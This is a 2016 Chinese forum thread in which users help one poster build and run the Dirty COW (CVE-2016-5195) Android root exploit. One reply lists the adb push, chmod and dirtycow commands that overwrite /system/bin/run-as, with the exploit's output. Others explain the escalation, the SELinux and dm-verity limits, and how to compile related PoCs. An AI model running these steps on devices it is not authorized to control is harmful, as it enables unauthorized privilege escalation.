1
postlive OP 高手都帮忙看一下 我把 C 直接编译成二进制执行之后 没效果 可能需要弄成 apk 两个 C 配合运行吧
|
2
michaelzhou 2016-10-31 15:42:57 +08:00 1
看了一下 makefile ,编译完成应该会有两个 so 文件,不会生成 APK 文件,你需要编写一个 Android Project ,然后通过 JNI 来调用。
|
3
michaelzhou 2016-10-31 15:49:09 +08:00
用 ndk 编译完成, push 到手机使用 adb shell 执行:
$ make root ndk-build NDK_PROJECT_PATH=. APP_BUILD_SCRIPT=./Android.mk APP_PLATFORM=android-21 [arm64-v8a] Install : dirtycow => libs/arm64-v8a/dirtycow [arm64-v8a] Install : run-as => libs/arm64-v8a/run-as [x86_64] Install : dirtycow => libs/x86_64/dirtycow [x86_64] Install : run-as => libs/x86_64/run-as [mips64] Install : dirtycow => libs/mips64/dirtycow [mips64] Install : run-as => libs/mips64/run-as [armeabi-v7a] Install : dirtycow => libs/armeabi-v7a/dirtycow [armeabi-v7a] Compile thumb : run-as <= run-as.c [armeabi-v7a] Executable : run-as [armeabi-v7a] Install : run-as => libs/armeabi-v7a/run-as [armeabi] Compile thumb : dirtycow <= dirtycow.c [armeabi] Executable : dirtycow [armeabi] Install : dirtycow => libs/armeabi/dirtycow [armeabi] Compile thumb : run-as <= run-as.c [armeabi] Executable : run-as [armeabi] Install : run-as => libs/armeabi/run-as [x86] Compile : dirtycow <= dirtycow.c [x86] Executable : dirtycow [x86] Install : dirtycow => libs/x86/dirtycow [x86] Compile : run-as <= run-as.c [x86] Executable : run-as [x86] Install : run-as => libs/x86/run-as [mips] Compile : dirtycow <= dirtycow.c [mips] Executable : dirtycow [mips] Install : dirtycow => libs/mips/dirtycow [mips] Compile : run-as <= run-as.c [mips] Executable : run-as [mips] Install : run-as => libs/mips/run-as adb push libs/armeabi/dirtycow /data/local/tmp/dirtycow * daemon not running. starting it now on port 5037 * * daemon started successfully * [100%] /data/local/tmp/dirtycow adb push libs/armeabi/run-as /data/local/tmp/run-as [100%] /data/local/tmp/run-as adb shell 'chmod 777 /data/local/tmp/run-as' adb shell '/data/local/tmp/dirtycow /system/bin/run-as /data/local/tmp/run-as' warning: new file size (13776) and file old size (14192) differ size 14192 [*] mmap 0xf707c000 [*] exploit (patch) [*] currently 0xf707c000=464c457f [*] madvise = 0xf707c000 14192 [*] madvise = 0 1048576 [*] /proc/self/mem -1048576 1048576 [*] exploited 0xf707c000=464c457f adb shell /system/bin/run-as run-as: Usage: run-as <package-name> [--user <uid>] <command> [<args>] |
4
tscat 2016-10-31 16:08:54 +08:00
看了一下,是提权漏洞?
这个根本就不是 Android Project , run-as.c 应该是打印 uid ,来验证漏洞是否能够提权吧。 基本上楼上都说了。 |
5
postlive OP @michaelzhou @tscat 我直接把这两个 C 编译成两个二进制文件
我运行到这一条命令 /data/local/tmp/dirtycow /system/bin/run-as /data/local/tmp/run-as 之后 没反应 请问为什么 这条命令是什么意思呢 |
6
postlive OP @tscat 是提权的 运行 /data/local/tmp/dirtycow /system/bin/run-as /data/local/tmp/run-as 之后没反应 不打印 uid
|
7
postlive OP @michaelzhou 我如果编译成.so 的话 是不是还要编写个 APK 来运行它 是吧
|
8
michaelzhou 2016-10-31 16:57:05 +08:00
@postlive 首先你得理解这个 CVE 提权的过程。重点在 dirtycow ,他是 exploit 的执行者,目的是将系统的 run-as 替换成自己编写的 run-as 。
|
9
michaelzhou 2016-10-31 17:02:11 +08:00
@postlive 系统分配给 adb 的 uid ,是没有权限更改 /system/bin 下任何东西的,/data/local/tmp 下的东西可以随便来,所以,首先将 exploit 所需要的东西先拷贝到 /data/local/tmp/,然后 dirtycow 将 /system/bin/run-as 替换成 /data/local/tmp/run-as 。然后被替换的 run-as 就可以被 APK 应用层直接调用了( run-as --uid root )。
|
10
postlive OP @michaelzhou 高手,那现在这个 run-as 是人家编写好的 想办法用这个 run-as 替换 system/bin/的 就可以调用它执行 root 权限的命令了?
|
11
michaelzhou 2016-10-31 17:32:14 +08:00
@postlive 可以这么理解。但是 “想办法用这个 run-as 替换 system/bin/的” 很难。
|
12
postlive OP @michaelzhou “ 首先你得理解这个 CVE 提权的过程。重点在 dirtycow ,他是 exploit 的执行者,目的是将系统的 run-as 替换成自己编写的 run-as 。”
/data/local/tmp/dirtycow /system/bin/run-as /data/local/tmp/run-as 请问,这条命令是在执行用自己的 run-as 替换系统的 是吧? |
13
devzero 2016-10-31 17:37:57 +08:00 via Android
在 issues 那里有一个编译好的二进制文件,可以去看看
|
14
michaelzhou 2016-10-31 17:41:34 +08:00
@postlive 是。
|
15
HackerOO7 2016-10-31 18:11:22 +08:00
因为 selinux 的存才,这个提权能做的实在太有限,然而在 6.0 上就算过了 selinux ,也还得过 dm-verity 。
|
16
postlive OP @devzero 谢谢 刚才仔细看了一下评论 和看雪上说的一样 SELinux 没法破 这个脚本只有作者自己执行成功了,要是刚开始就看 issues 的话就不会走弯路了
|
17
postlive OP @HackerOO7 是的,刚在看雪上看到漏洞时 评论里面就有人提到 selinux ,当时没在意,是我想的太简单了,现在得另辟蹊径
|
18
postlive OP @michaelzhou 如果不写 APK ,直接手动一步一步的执行.C 编译后的二进制文件 是不是会达到同样的效果?我重新找到一个 POC ,我准备把里面的 5 个.C 一个个编译成安卓可执行的二进制,再去运行每条命令
可行不 |
19
kmahyyg 2016-10-31 22:47:26 +08:00 via Android 1
你去 dirtycow.github.io 的 wiki 里,有个 r2 的 io plugin 可以使用,安卓 6.0.1_r72(RR)在 termux 下用 clang 编译测试成功提权。
|
21
w99wen 2016-11-01 18:25:34 +08:00
我用自己的 vps ,没关闭 SELinux ,结果就是这个漏洞然并卵
|
22
postlive OP @michaelzhou 高手 能帮忙编译一下这个吗 https://github.com/nowsecure/dirtycow 我编译不过去 里面有些.h 文件找不到 应该用啥编译
|
23
michaelzhou 2016-11-02 18:13:03 +08:00
@postlive 将 Git 仓库放到你自己的 ndk 目录的 sources 目录下,然后用 ndk-build 命令进行编译。建议将 ndk-build 可执行文件的路径添加到 PATH 。编译时找不到头文件,及有可能是你的项目放的目录不对。
例如,我放的目录是: ~/Library/Android/sdk/ndk-bundle/sources/third_party/CVE-2016-5195 然后,你给出的这个 Github 仓库,作者已经写好了 Makefile ,所以直接用 make 命令就可以直接编译。 也就是说,在 ~/Library/Android/sdk/ndk-bundle/sources/third_party/CVE-2016-5195 下 执行 make root 。 敲完 make root 后,就可以 “坐和放宽” 了。 FYI :编译以后的 output 在 ./libs 和 ./obj 目录下。 |
24
postlive OP 多谢了 我一会儿试一下 只是他里面有些.h 头文件是第三方库的是吧 我在 Android studio 和 GCC 下有些.h 都找不到 能不能麻烦您编译一下,根据您的经验看看到底是啥原因,最好能编译好发给我 谢谢啦👍😊😏 [email protected]
|
25
michaelzhou 2016-11-02 18:49:53 +08:00
@postlive 已发
|
26
postlive OP @michaelzhou 好人有好报😏😊
|
27
postlive OP @michaelzhou 老大,麻烦把这个也编译一下 https://github.com/jcadduono/android_external_dirtycow/archive/android-6.0.zip
这个是发布者在自己的 V20 上面测试过的 V20 和 G5 的环境应该一样 如果能成功换掉原厂 recovery 那就可以完美 root 你将是世界第一人😏😊 [email protected] 谢谢了 |
28
postlive OP |
29
michaelzhou 2016-11-03 13:42:16 +08:00
@postlive 已发。
|
30
postlive OP @michaelzhou 大神,您编译出来的只有 2 个文件 这里面不是有 5 个么
adb push dirtycow /data/local/tmp adb push recowvery-applypatch /data/local/tmp adb push recowvery-app_process64 /data/local/tmp adb push recowvery-run-as /data/local/tmp |
31
michaelzhou 2016-11-03 14:41:44 +08:00
@postlive 另外几个一直报错,不知为何,我没仔细看错误原因。
粗看一下,大概是因为引用的头文件在源码环境下才有,我个人电脑的环境没有 AOSP 的源码编译环境,只能帮你到这里了。 |
32
postlive OP @michaelzhou 是的,我也觉得是缺少.h 头文件 那么请问我怎么下载 AOSP 里面有好多 我不知道安装哪个 麻烦指点迷津
谢谢了 |
33
michaelzhou 2016-11-03 21:28:22 +08:00
|
34
postlive OP @michaelzhou 大神,经过你的指点,我在 AOSP 源里面找到了 只是应该把.h 文件放到什么地方 比如#include <cutils/properties.h> NDK 下就有好几个 cutils 文件夹
|
35
postlive OP |
36
postlive OP @michaelzhou 放的地方我找到了 只是又出现了一些新的问题 代码报错 编译不过去 这个.C 到底是 C 写的还是 C++写的? 是不是要用到其它的什么编译器
|
38
postlive OP |